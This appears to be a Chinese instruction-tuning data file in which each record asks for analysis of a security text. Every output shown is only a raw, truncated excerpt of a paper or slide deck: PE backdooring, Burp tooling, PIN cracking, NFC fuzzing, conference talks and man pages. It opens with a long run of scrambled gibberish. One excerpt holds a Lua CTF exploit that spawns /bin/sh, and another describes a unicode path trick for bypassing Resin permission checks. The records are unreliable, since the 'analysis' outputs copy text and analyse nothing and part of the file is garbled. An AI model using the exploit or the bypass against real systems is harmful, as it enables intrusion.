! ?2\"A+02&92&+6&'9/*20+*/0-&/1(-2*+#'AA()/#\"-/')++ ! :2-\"067'/-+'[2&0+#\"6\"1/7/-/20+\")*+*\"-\"+A'*27+ ! ,'&-\")\"+'[2&0+A2\")0+-'+#&2\"-2+7')%+&())/)%+\"%2)-0+ -8\"-+62/92+#')-25-+\")*+&206')*+-'+/-G++ ! ,'&-\")\"+\"70'+6&'9/*20+-''70+-'+*21(%L+()*2&0-\")*L+ \")*+\"00(&2+6'0/-/92+#')-&'7+'>+\"%2)-0+ ?0$+*/*9'()*+'%+'20#,' ! :2-\"067'/-+,')-&'7+ ! .\"-\"+:\")\"%2A2)-+ ! 3'0-4K567'/-\"-/')+ ! ?2\"A+I2&92&+3\"&-/#/6\"-/')+ ! :'*/>E+B&A/-\"%2+!28\"9/'&+ ! K5-2)*+B&A/-\"%2+<02&+=)-2&>\"#2+ ?0$+*/*9'A-+#$/*+%\"#,' ! K5-2)*+:2-\"067'/-+F&\"A2@'&$++ \" :'*(720+ \" 37(%/)0+ \" C,+;720+ ! :2-\"067'/-+C3,+I2&92&+ ! A0>#7/+ 3)*$#)4/$+1'5\"$*' H$0C-#BIII' ! N'77EW+=-D*+12+)/#2+/>+-82&2+@\"0+\"+@\"E+-'+$)'@+ @82)+)2@+8'0-0\\02&9/#20+6'6+(6+ ! ,8&/0W+=DA+#')0-\")-7E+&())/)%+0#\")0L+=D77+6(-+-82+ *\"-\"+@82&2+292&+E'(+7/$2Z+ ! :2W+=+-8/)$+=+#\")+8276Z+ ! ,8&/0W+=+*')D-+@\")-+-'+", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n--- title: 公开访问 --- ## 在阿里云上创建 RDS 公开访问 使用以下命令为 RDS 启用公开访问 ```bash cf alibaba rds public ``` ### 查看已经公开的信息 加上 ls 列出配置过的公开访问信息 ```bash cf alibaba rds public ls ``` ### 取消公开共享 加上 cancel 取消公开访问 ```bash cf alibaba rds public cancel ``` ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSECURITY PAPER Preparation Date: 11 Dec 2016 Art of Anti Detection 2 PE Backdoor Manufacturing Prepared by: Ege BALCI Penetration Tester ege.balciinvictuseurope.com INVICTUS 2 Security Paper TABLE OF CONTENT 1. Abstract:.....................................................................................................................................................3 2. Introduction.............................................................................................................................................. 3 3. Terminology..............................................................................................................................................3 4. Main Methods...........................................................................................................................................4 5. Available Space Problem.......................................................................................................................5 6. Hijacking Execution Flow....................................................................................................................10 7. Injecting Backdoor Code.....................................................................................................................14 8. Restoring Execution Flow.................................................................................................................. 17 9. Conclusion...............................................................................................................................................18 10. References:...........................................................................................................................................20 INVICTUS 3 Security Paper 1. Abstract: This paper will explain several methods used for placing backdoors in PE(Portable Executable) files for red team purposes, in order to fully grasp the content of this paper, readers needs to have at least interm", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n展望NEW GEN SOC Elaine Ma| Cybersecurity Head CHN-Region Security 简述SOC SOC的趋势 不仅仅是运维云即是未来的终端安全 展望AI 赋能 SOC 即是云运维 角色 流程 管理 技术 SOC平台目标功能架构 数据发布层对SOC平台采集分析的数据进行统一呈 现同时对专业安全子系统以B/S方式统一纳入SOC平 台进行管理并通过统一门户和统一认证实现多个专 业安全子系统的单点登录和集中授权管理 安全事件处理层主要包括对安全对象的管理安 全风险的呈现和处理安全事件和脆弱性的关联以 及对事件脆弱性完整性等安全信息的处理功能 同时提供策略库统一规划网络相关策略提供知识 库作为安全人员处理事件的参考 数据采集层主要负责对安全事件安全脆弱性等 安全信息的收集 协议服务层针对网络中多种事件源事件采集接 口需要提供多种采集方式对安全事件进行采集 安全对象层SOC平台所管理的资产包括主机 网络设备数据库管理系统安全设备如防火墙 IDS/IPS等应用系统数据和信息多个安全对 象构成的安全对象组等 应用接口层SOC平台是一个综合管理系统在对 相关安全信息进行处理时需要通过应用接口层与 其他应用管理系统之间进行数据交互应用接口层 包括与电子工单系统接口网管系统接口安全业 务接口等 SIEM 以及未来趋势---迭代 网络入侵检测和防御系统NIDPS和端点保护平台EPP等典型的预防技术之外SOC还应利用广泛的技术堆栈 来提供安全信息收集分析和事件管理功能安全信息和事件管理SIEM解决方案是最常见的平台是SOC的核 心技术端点检测和响应EDR解决方案越来越多地添加到SOC武器库中用于收集主机级监控数据便于实 时响应和取证溯源目的还有另外一种高级分析和威胁检测工具可以整合进SOC工具集中那便是网络流量分析 NTA解决方案该工具通常用于调查警报并获取有关网络中可疑活动的其他上下文 SIEM 以及未来趋势 事件管理模块应该能够查看所有的事件包括高风险 事件低风险事件可以查看历史事件可以查看实 时事件 系统应该把事件按照不同的安全对象来源进行分类 例如可以分为UNIX主机WINDOWS主机路由器 和交换机防火墙NIDS等类 可以对历史事件进行查询例如针对具体设备某个 IP地址查询它在一定时期内的所有事件或者根据 事件的关键词查询所有的事件信息 可以查看所有的实时事件考虑到实时事件的数量巨 大模块应该提供过滤功能在屏幕上只显示符合过 滤条件的事件过滤条件用户可以自定义定义好的 过滤规则能够保存在系统内下次登录系统后还可以 使用 应可以依据设定的审计策略对标准化的安全事件进行 审计分析基于审计策略对接收到的安全事件进行实 时审计每条审计事件依次匹配审计策略如果匹配 到某设计策略系统负责完成该策略的响应动作 云以及云安全运维的维度 2021-2025 发展最快的IT security 技术 为什么Cloud就是未来的端点安全 37% 41% 60% 115% 164% 0% 50% 100% 150% 200% 事件响应 威胁情报 风险管理 云安全 应用开发安全 上升率 上升率 AI 元素和驱动 算法 ANN 人工神经网 络 ML DL 概率图形 等等. 计算力 GPU TPU 张量处理单元 谷歌工作负载 AIaaS FPGA 现场可编程 门阵列强于GPU 等等. 数据 工业数据 个人数据 等等. 3个主要驱动力 主要国家的AI战略 中国 2017年新 一代人工智能发 展规划从战 略态势总体要 求资源配置 立法组织等进 行AI发展规划的 阐述建立AI 标准体系 美国. 2016年美国发 布美国国家人 工智能研究与发 展战略规划研 究开发人工智 能写作方法解 决人工智能的安 全到的 法律 和社会影响 欧盟 欧盟委员会发布 欧盟人工智能 报告建立欧洲 人工智能联盟 欧盟最新AI监管 草案 四月23号 2021 日韩 2016年日本提 出超智能社会 5.0 战略 韩国审议通过人 工智能研发战略 Standards ISO/IEC JTC1 ISO/IEC TR 24027信息技术人工智能人工智能系统中的偏差 与人工智能辅助决策 TR 24028信息技术人工智能人工智能可信度概述 TR 24029-1人工智能神 经网络鲁棒性评估第 1 部分概述 AWI 24029-2人工智能神经网络鲁棒性评估第 2 部分形式化方 法 CD23894信息技术人工智能风险管理 AWI TR 24368信息技术人工智能伦理和社会关注概述 ITU-T ITU-T 一直致力于解决智慧医疗智能汽车垃圾内容治理生物特征识别等人工智能应用中的安全 问题2017 年和 2018 年ITU-T 均组织了AI for Go", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHUNT @jhaddix @swagnetow @FatihEgbatan @digitalwoot @_Sha128 @bugcrowd Data Driven Web Hacking & Manual Testing Contribs Motley crew at @bugcrowd SecOps & Security Engineering groups Bughunters, Pentesters, Code Analysis, ++ Burp Suite fans The Problem(z) 1. Increasingly large and complicated Web Applications. Need manual testing 2. Applications Assessment Training lacks tribal knowledge of vulnerability location 3. No in-tool workflow for web hacking methodologies Current Solutions 1. Badass hacker who can eyeball and effectively find security bugs a. May or may not have a methodology b. Definitely has accrued tribal knowledge c. Bughunts and/or does consultant work 2. Dynamic Scanner a. Limited test cases (fuzzing) b. Cost prohibitive c. Limited in detection cases (dynamic pages, errors, etc) d. Complex sites are hard (auth) HUNT Manual testing references in Burp Methodology in Burp Tribal knowledge passive alerts HUNT Burp Suite Extension Tool Flow IScannerCheck & IScanIssue Scanner Burp Implementation (Python) Burp Tab Hunt - Scanner def doPassiveScan(self, request_response): raw_request = request_response.getRequest() raw_response = request_response.getResponse() request = self.helpers.analyzeRequest(raw_request) response = self.helpers.analyzeResponse(raw_response) parameters = request.getParameters() url = self.helpers.analyzeRequest(request_response).getUrl() vuln_parameters = self.issues.check_parameters(self.helpers, parameters) is_not_empty = len(vuln_parameters) > 0 if is_not_empty: self.issues.create_scanner_issues(self.view, self.callbacks, self.helpers, vuln_parameters, request_response) # Do not show any Bugcrowd found issues in the Scanner window return [] IExtensionStateListener, IContextMenuFactory, ITab Methodology Burp Implementation (Python) Burp Tab HUNT - Methodology def createMenuItems(self, invocation): # Do not create a menu item unless getting a context menu from the proxy history or scanner results is_proxy_history = invocation.getInv", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nXCTF WP AuthorNu1L Team wpWP NaNroot@nu1l.com 2.0 Nu1L XCTF WP lua BLSMPS babyjail babybaes hardstack house of pig hello arm dngs2010 warmupcms GSA apk Dubbo space lamaba 3*3 babydebug easycms spider coturn lua local bit_band = bit.band local bit_lshift = bit.lshift local bit_rshift = bit.rshift local math_floor = math.floor local math_frexp = math.frexp local math_ldexp = math.ldexp local math_huge = math.huge function UInt32sToDouble(low, high) local negative = false if high >= 0x80000000 then negative = true high = high - 0x80000000 end local biasedExponent = bit_rshift(bit_band(high, 0x7FF00000), 20) local mantissa = (bit_band(high, 0x000FFFFF) * 4294967296 + low) / 2 52 local f if biasedExponent == 0x0000 then f = mantissa == 0 and 0 or math_ldexp(mantissa, -1022) elseif biasedExponent == 0x07FF then f = mantissa == 0 and math_huge or(math_huge - math_huge) else f = math_ldexp(1 + mantissa, biasedExponent - 1023) end return negative and -f or f end function encode(value) code = '' i = 4 while i~=0 do code = code .. string.char(value%256) value = value/256 i = i-1 end return code end local function a() while(1) do end return 1 end -- 0x40000000 44D7D0 -- 6764A0 local fake = \"\\xd0\\xd7\\x44\\x00\\xd0\\xd7\\x44\\x00\\xd0\\xd7\\x44\\x00\\xd0\\xd7\\x44\\x00sh\\x00\\x00\\x00\\x00\\x00 \\x00\"..encode(0x044D7E2)..encode(0x044D7E2)..encode(0x044D7E2) local fa = tonumber( string.format( \"%p\", fake ), 16 )+ 32 print(encode(fa)) -- 0x451313 451309 local str = \"sh\\x00\\x00\\x00\\x00\\x00\\x40\"..encode(fa)..encode(fa-1000)..encode(fa- 1000)..\"\\x00\\x00\\x00\\x00\"..encode(0x451309)..\"\\x00\\x00\\x00\\x00\"..encode(0x451313)..\"\\x0 0\\x00\\x00\\x00aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\" print(a) local address = tonumber( string.format( \"%p\", str ), 16 )+ 24 print( tonumber( string.format( \"%p\", str ), 16 ) ) address = UInt32sToDouble( address - 8, 0 ) local func = debug.getinfo( 0, \">f\", address ).func -- print(func) func(\"/bin/sh\") BLSMPS The rogue public-key attack. https://crypto.stanford.edu/~dabo/p", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAutomated PIN Cracking Justin Engler Paul Vines Senior Security Engineer Security Engineering Intern iSEC Partners iSEC Partners Current PIN Cracking Methods Cracking with Robots R2B2 C3BO Defeating the Robots Agenda One of the most popular ways to lock mobile devices Commonly still only 4-digit despite ability to be longer User chosen, so typically low-entropy PINs PIN Cracking Now Jailbreak and Crack Keyboard Emulation Punish an Intern Jailbreak and Crack Use jailbreaking/rooting exploits on the device Bypass the lock screen with these new user capabilities Problem: not all devices have known exploits for gaining root (and without wiping the device) Keyboard Emulation If the device supports a keyboard attachment Make a device that emulates a keyboard and tries all the different PIN combinations automatically Problem: not all devices support an external keyboard being added Punish an Intern Forcing your intern to try all 10,000 4-digit combinations will surely be more productive than anything else they could have been doing, except maybe getting coffee Problem: Interns are universally bad at their jobs, so they might miss some of the combinations PIN Cracking with Robots Required Abilities: Push buttons in sequence Remember what buttons were pushed (Recognize success) Robotic Reconfigurable Button Basher (R2B2) Homemade Delta Robot body Arduino Uno brain Total cost: < $200 Delta Robot Designed for fast precision industrial work Simple combination of 3 single-motor arms gives precision 3D movement with somewhat small range of motion Fairly simple motion control Humanrobo, Wikipedia. CC-BY-SA Arduino Uno Standard robotic hobby microcontroller board Open source code for controlling a delta robot by Dan Royer (marginallyclever.com) Uses serial port communication to control the movement of the robot Easy to tweak functionality for pressing buttons instead of manufacturing Easy to control with a Python program Modifications The original", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nExploring the NFC Attack Surface Charlie Miller Managing Principal Accuvant Labs charlie.miller@accuvant.com July 13, 2012 Charlie Miller: Exploring the NFC Attack Surface Introduction 4 NFC protocols 5 Physical and RF layer 6 Initialization, Anti-Collision, and Protocol Activation layer 7 Protocol layer 7 Application layer 8 Example data capture 10 Fuzzing the NFC stack 13 Fuzzing setup 15 Fuzzing test cases 16 Results - Nexus S 18 Results - Nokia N9 25 NFC higher level code 26 Nexus S - Android 2.3.3 26 Galaxy Nexus - Android 4.0.1 28 Galaxy Nexus - Android 4.1.1 32 Nokia N9 - MeeGo 1.2 Harmattan PR1.3 33 Possible attacks 37 Android NFC Stack bug 37 Android Browser 38 N9 Bluetooth pairing 38 N9 bugs 39 Summary 41 Acknowledgements 42 Charlie Miller: Exploring the NFC Attack Surface References 43 Charlie Miller: Exploring the NFC Attack Surface Introduction Near Field Communication (NFC) has been used in mobile devices in some countries for a while, and is now emerging on mobile devices in use in the United States. This technology allows NFC-enabled devices to communicate with each other within close range, typically a few centimeters. NFC is being deployed and adopted as a way to make payments, using a mobile device to communicate credit card information to an NFC enabled terminal. It is a new, cool, technology, but as with the introduction of any new technology, the question that must be asked is what kind of impact the inclusion of this new functionality will have on the attack surface of mobile devices. In this paper we explore this question by introducing NFC and its associated protocols. Next, we describe how to fuzz the NFC protocol stack for two devices as well as provide the results of our testing. Then we see for these devices what software is built on top of the NFC stack. It turns out that through NFC, using technologies like Android Beam or NDEF content sharing, one can force some phones to parse images, videos, contacts, office documents, and even open ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n1 Resin unicode ResinURI和参数名参数值都可以unicode代替 如图根录存在b.jsp 使http://127.0.0.1:8083/%u0062%u002e%u006a%u0073%u0070访问 注意到此处 getRequestURI() 依然为unicode编码以后的值如果项使 getRequestURI() 对路径做权限校验可使这种式绕过 在泛微上试了下这种法发现会直接爆500查看志定位报错位置 1.URI 2 WEB-INF/myclasses/weaver/security/filter/SecurityMain.class Plain Text 复制代码 Xss(Exception):sw=java.lang.IllegalArgumentException: URLDecoder: Illegal hex characters in escape (%) pattern - For input string: \"u0\" at java.net.URLDecoder.decode(URLDecoder.java:194) at java.net.URLDecoder.decode(URLDecoder.java:100) at weaver.security.core.SecurityCore.uriDecode(SecurityCore.java:8733) at weaver.security.core.SecurityCore.return404(SecurityCore.java:540) at weaver.security.filter.SecurityMain.process(SecurityMain.java:82) at sun.reflect.GeneratedMethodAccessor68.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorIm pl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at weaver.filter.SecurityFilter.doFilterInternal(SecurityFilter.java:51) at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerReques tFilter.java:76) at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.ja va:87) at com.caucho.server.webapp.WebAppFilterChain.doFilter(WebAppFilterChain.java :187) at com.caucho.server.dispatch.ServletInvocation.service(ServletInvocation.jav a:265) at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:273) at com.caucho.server.port.TcpConnection.run(TcpConnection.java:682) at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:730) at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:649) at java.lang.Thread.run(Thread.java:748) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 3 跟 return404 跟 uriDecode path为 req.getRequestURI() 如果含有%就进 URLDecoder url解码不了报错 想着能不能先unicode编码再url编码测试发现不这样只会进url解码匹配不到 Servlet跟了下Resin源码 com.caucho.server.dispatch.InvocationDecoder#normalizeUriEscape 4 如果ch == 37就进 scanUriEscape 法进解码这个37对应% Java 复制代码 private stati", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSteganography in Commonly Used HF Radio Protocols @pdogg77 @TheDukeZip pdogg Paul / pdogg / @pdogg77 Day Job: Security Researcher at Confer Technologies Inc. Hobby: Licensed as an amateur radio operator in 1986, ARRL VE This is my second trip to DEF CON thedukezip Brent / thedukezip / @thedukezip Software & Systems Engineer (RF) Licensed ham radio op since 2006, ARRL VE Why You Shouldn't Do This And Why We Didn't Do It On The Air FCC Regulations (Title 47 Part 97) 97.113 Prohibited transmissions. (a) No amateur station shall transmit: (4) Music using a phone emission except as specifically provided elsewhere in this section; communications intended to facilitate a criminal act; messages encoded for the purpose of obscuring their meaning, except as otherwise provided herein; obscene or indecent words or language; or false or deceptive messages, signals or identification. How This Project Started... Final Warning Slide... Hackers + Drinks = Project WANC - We are not cryptographers We are not giving cryptographic advice You should talk to a cryptographer If you are a cryptographer, we welcome your input What? We set out to demonstrate it was possible (or impossible) to create a: Low Infrastructure Long Range Covert Point to Point, Broadcast or Mesh Short Message Protocol Using existing consumer radio and computer equipment, leveraging a commonly used digital mode Why? Avoid censorship Avoid spying We believe you have the right to communicate without this interference You COULD use our method to communicate, OR use similar techniques to create your own method Or The Terrorists No Internet? Amateur radio operators have expertise in this! Amateur Radio Many frequency bands reserved for amateur radio operators to communicate Voice chat, digital modes... Take a multiple choice test to get licensed Reminder: The rules say you can't do what we're showing you... AirChat Anonymous Lulzlabs Encrypted communication in plain sight Cool project with ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nrcconf === Debian Linux下的运行等级服务配置工具 ## 补充说明 **rcconf命令** 是Debian Linux下的运行等级服务配置工具用以设置在特定的运行等级下系统服务的启动配置 ### 语法 ```shell rcconf(选项) ``` ### 选项 ```shell --help打印帮助信息 --dialog使用对话命令显示菜单 --notermcheck不按照终端属性来设置窗口尺寸 ```", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5. .\\\"******************************************************************* .\\\" .\\\" This file was generated with po4a. Translate the source file. .\\\" .\\\"******************************************************************* .TH UNLINK 1 2022年9月 \"GNU coreutils 9.1\" 用户命令 .SH 名称 unlink \\- 调用 unlink 函数删除指定文件 .SH 概述 \\fBunlink\\fP \\fI\\,文件\\/\\fP .br \\fBunlink\\fP \\fI\\,选项\\/\\fP .SH 描述 .\\\" Add any additional description here .PP 调用 unlink 函数删除指定的文件 .TP \\fB\\-\\-help\\fP 显示此帮助信息并退出 .TP \\fB\\-\\-version\\fP 显示版本信息并退出 .SH 作者 由 Michael Stone 编写 .SH 报告错误 GNU coreutils 的在线帮助 .br 请向 报告翻译错误 .SH 版权 Copyright \\(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later . .br 本软件是自由软件您可以自由修改和重新发布它在法律允许的范围内不提供任何保证 .SH 参见 \\fBunlink\\fP(2) .PP .br 完整文档请见 .br 或者在本地使用 info \\(aq(coreutils) unlink invocation\\(aq", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWarez Trading and Criminal Copyright Infringement Eric Goldman Marquette University Law School eric.goldman@marquette.edu http://eric_goldman.tripod.com Overview Definition of warez trading Applicable criminal laws Some prosecutions Some policy concerns The bottom line: Warez trading has been criminalized More warez traders will be sent to jail What is Warez Trading? Warez trading vs. commercial piracy Different types of warez traders Warez distribution groups Warez collectors Warez downloaders Abandonware enthusiasts Criminal Infringement Willful copyright infringement committed: for commercial advantage or private financial gain, or by reproducing or distributing, in any 180- day period, works with a total retail value over $1,000 Punishment can be up to 5 years in prison and $250,000 fine Prosecution Elements (1) Valid copyright exists Infringement Uploading, downloading, distribution Evidentiary challenges First sale doctrine Fair use Nature of the use Nature of the work Amount taken Effect on the market Prosecution Elements (2) Willfulness Minority view: intent to copy Majority view: voluntary, intentional violation of a known legal duty Good faith but incorrect belief of non- infringement Good faith but incorrect belief of fair use Ignorance of the law Prosecution Elements (3) Commercial advantage/financial gain Financial gain: receipt, or expectation of receipt, of anything of value, including the receipt of other copyrighted works Retail value $2,500 for felony, $1,000 for misdemeanor Price of warez v. manufacturers list price Other Criminal Laws Circumvention Circumventing Trafficking in circumvention devices Hacking/Trespass Unauthorized access to obtain information Unauthorized access and causing damage Theft Trade Secret Misappropriation Copyright Management Information Integrity Prosecutions Classes of defendants Distribution groups (Fastlane, PWA, DOD, RWZ) Individual traders (Levy, Thornton, Baltutat, Fitzgerald) Movie ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.TH PSFADDTABLE 1 \"28 Oct 1997\" \"控制台工具\" \"Linux 用户手册\" .SH NAME psfaddtable \\- 添加一个Unicode字符表到控制台字体中 .SH 总览 .B psfaddtable .I 字体文件 表文件 [输出文件] .SH 描述 .B Psfaddtable 命令融合了 .I 字体文件 提供的 .psf 格式的控制台字 体和 .I 表文件 提供的Unicode字符表, 生成一个带有嵌入字符表的 字体文件, 并将其写到 .I 输出文件 (如果该文件给出, 否则写到标 准输出). .I 字体文件 或者 .I 输出文件 都可以用单个的破折号(\\-)取 代以从标准输入读入, 但不能两者同时都是. 如果 .I 字体文件 已经 包含了一个嵌入字符表, 会被忽略. .SH 表文件格式 .I Tablefile 文件中各行可以是空白行, 或者是注释行(以 .IR # 领头), 也可以包含一串十进制数字(缺省情况), 或者包含一串八进制数字 (以 .IR 0 领头), 或包含一串十六进制数字(以 .IR 0x 领头). 各行第一个 数字指出所索引字体中的符号位置, 对于256\\-字符的字体, 该数在 0到0xff之间, 而对于512\\-字符的字体, 该数则处在0到0x1ff之间. 同一行中随后的任何一个数字都是该特有符号位置的Unicode匹配. 另外对同一个符号允许有多个行. .SH \"另见\" .BR consolechars (8), .BR psfgettable (1), .BR psfstriptable (1).", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nDIY Nukeproofing: A New Dig at Data-Mining By 3AlarmLampscooter DEF CON 23 Version 0.1b @3AlarmLampscoot on twitter for updates DIY Nukeproofing: Outline Why technologies like SILEX / AVLIS / MLIS are democratizing nuclear proliferation (FUD) Identifying risk and requirements to mitigate it Getting shovel-ready Taking data-mining very literally Atomic Dominoes: Baryons to Bombs Neutron discovered in 1932 Fissile nuclei split when hit! ...and give off more neutrons such radiation much explosion very fission product wow Pitchblende and the Manhattan Project Fissile material is not naturally occurring ...but pitchblende is, with up to 20% U Enter $26B of inflation-adjusted defense research and development during World War II Separation Anxiety Mining and refining proved to be easy (sort of) ...enrichment, not so much. 13,300,000kg of Silver and nothing to show for it Centrifuges proved practical... Sort of, aside from needing 1,000s rotating near the speed of sound Has remained defacto standard for enrichment It had some wicked deliverables... Plutonium implosion-type Fat Man 21kt, 14lbs Pu Uranium gun-type Little Boy 13kt 140lbs U Little Boy's closest survivors... Eizo Nomura at 170m from ground zero in the basement of the Hiroshima Prefecture Fuel Rationing Union Akiko Takakura at 300m from ground zero in Bank of Hiroshima's Vault Heating up the Cold War Teller-Ulam devices making use of tritium Yields as high as 50MT (USSR) Lots of centrifuges spinning 24/7 Ultimately we find a Nash Equilibrium... tl;dr MAD for Superpowers, why aren't all dead A whole lot of hot glass caverns left at the Nevada Test Site, data on blast protection Loose Nukes Old bomb cores remain unaccounted for/lost Most thefts have been by small time criminals No recorded instances in bomb-size quantity Successfully smuggling strategy limited to submarines, tunnels, low flying drones Proliferation has thus far eluded non-state actors Asymmetric Warfare: The Mouse Th", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBeat to 1337 Mike Arpaia & Ted Reed Creating A Successful University Cyber Defense Organization (Note: slide text will be mostly replaced by images during the presentation, this deck is designed as a handout) This presentation... Will show you a five step program to: 1. Plan! - make a goal for yourself and your university 2. Recruit! - reach out to the campus, find interested parties 3. Organize! - gather resources, don't sulk over no budget 4. Learn! - understand everyone's skills, abilities, and interests 5. Play! - compete, join a competition, start evaluating your skills ...And we'll give out prizes! So try to be involved! Problem Everyone wants to be a hacker but you're not going to learn how to hack in \"Theoretical Computer Science 101\" Even in information assurance classes, often times the subject matter is so high-level that you can't really get anything (practical) out of it... You may not have enough information security knowledge to walk up and be a pen-tester or researcher You may not know enough people to make a team Our solution! We compiled data about past competitions for you to use, learn from, and ramp up your team to compete this coming year! We compiled a detailed guide from what we've learned and professionals we've sought advice from! We modified a collaboration software solution to help students play, organize and participate in CTFs! We recommend a hardware solution to complement Plan to distribute the software as an ISO image What's in the Data? What we did and what works Don't reinvent the wheel... we did it for you How to stop complaining about the things that are holding you back and start owning some n00bs! Tips on how to organize, educate and motivate a team of lazy college kids A calendar of national and international CTF-style competitions that you and your team can compete in! What's in the Guide? Chapters and lesson plans on a wide range of information security topics including: web application security source code ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nHOST = \"localhost\" PORT = 1337 import os import sys from FLAG import FLAG from pwn import * import multiprocessing r = None remote_start_time = None LED = 64 state = [[0 for i in range(4)] for j in range(4)] MixColMatrix = [ [4, 1, 2, 2], [8, 6, 5, 6], [11,14,10, 9], [2, 2,15,11], ] sbox = [12, 5, 6, 11, 9, 0, 10, 13, 3, 14, 15, 8, 4, 7, 1, 2] WORDFILTER = 0xF def FieldMult(a,b): ReductionPoly = 0x3 x = a ret = 0 for i in range(0,4): if (b>>i)&1 == 1: ret = x if (x&0x8) != 0: x <<= 1 x = ReductionPoly else: x <<= 1 return ret&WORDFILTER def AddKey(keyBytes,step): global state for i in range(0,4): for j in range(0,4): state[i][j] = keyBytes[(4*i+j+step*16)%(LED/4)] return state def AddConstants(r): global state RC = [ 0x01, 0x03, 0x07, 0x0F, 0x1F, 0x3E, 0x3D, 0x3B, 0x37, 0x2F, 0x1E, 0x3C, 0x39, 0x33, 0x27, 0x0E, 0x1D, 0x3A, 0x35, 0x2B, 0x16, 0x2C, 0x18, 0x30, 0x21, 0x02, 0x05, 0x0B, 0x17, 0x2E, 0x1C, 0x38, 0x31, 0x23, 0x06, 0x0D, 0x1B, 0x36, 0x2D, 0x1A, 0x34, 0x29, 0x12, 0x24, 0x08, 0x11, 0x22, 0x04 ] state[1][0] = 1 state[2][0] = 2 state[3][0] = 3 state[0][0] = (LED>>4)&0xf state[1][0] = (LED>>4)&0xf state[2][0] = LED & 0xf state[3][0] = LED & 0xf tmp = (RC[r] >> 3) & 7 state[0][1] = tmp state[2][1] = tmp tmp = RC[r] & 7 state[1][1] = tmp state[3][1] = tmp def SubCell(): global state for i in range(0,4): for j in range(0,4): state[i][j] = sbox[state[i][j]] def ShiftRow(): global state tmp = [0]*4 for i in range(1,4): for j in range(0,4):tmp[j] = state[i][j] for j in range(0,4):state[i][j] = tmp[(j+i)%4] def MixColumn(): global state tmp = [0]*4 for j in range(0,4): for i in range(0,4): sum = 0 for k in range(0,4): sum = FieldMult(MixColMatrix[i][k], state[k][j]) tmp[i] = sum for i in range(0,4):state[i][j] = tmp[i] def host_encrypt_for_key(input,userkey,sbox_lazy,rounds): \"\"\" input - list of integers from range 0x0 - 0xFF userkey - list of integers from range 0x0 - 0xFF rounds - lazy sbox_lazy - my chosen sbox_lazy returns: string \"\"\" global state, LED ksbits = 16*8", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n#BHUSA @BlackHatEvents Ghost in the Wireless, iwlwifi Edition Nicolas Iooss, Gabriel Campana #BHUSA @BlackHatEvents Information Classification: General Context - Up-to-date Ubuntu 18.04 LTS - HTTP server - Android smartphone 2 #BHUSA @BlackHatEvents Information Classification: General Context # dmesg iwlwifi 0000:01:00.0: Start IWL Error Log Dump: iwlwifi 0000:01:00.0: Status: 0x00000100, count: 6 iwlwifi 0000:01:00.0: Loaded firmware version: 34.0.1 ... iwlwifi 0000:01:00.0: Start IWL Error Log Dump: iwlwifi 0000:01:00.0: Status: 0x00000100, count: 7 iwlwifi 0000:01:00.0: 0x00000070 | ADVANCED_SYSASSERT ... iwlwifi 0000:01:00.0: 0x004F01A7 | last host cmd ieee80211 phy0: Hardware restart was requested 3 #BHUSA @BlackHatEvents Information Classification: General Why this research? - This chip implements complex features - Likely to have vulnerabilities - No public research about the security of Intels Wi-Fi chips - Prior art: Broadcoms Wi-Fi cards and Intels NIC - This sounds fun - Yet another smart piece of hardware, widely used in laptops - The chip has DMA (Direct Memory Access) by design, because network - DMA attacks: FireWire attacks, PCIe screamer, Thunderspy, Thunderclap 4 #BHUSA @BlackHatEvents Information Classification: General Studied Wi-Fi chips Intel Wireless-AC 9560 (Picture of a Companion RF Module) Intel Wireless-AC 8260 5 #BHUSA @BlackHatEvents Information Classification: General Agenda - The firmware & talking to the chip - Vulnerability research - Dynamic analysis experiments - DMA through the paging memory 6 #BHUSA @BlackHatEvents Information Classification: General The Firmware 7 -X 7 #BHUSA @BlackHatEvents Information Classification: General Intel WireLess (IWL) Wi-Fi on Linux 8 FW #BHUSA @BlackHatEvents Information Classification: General 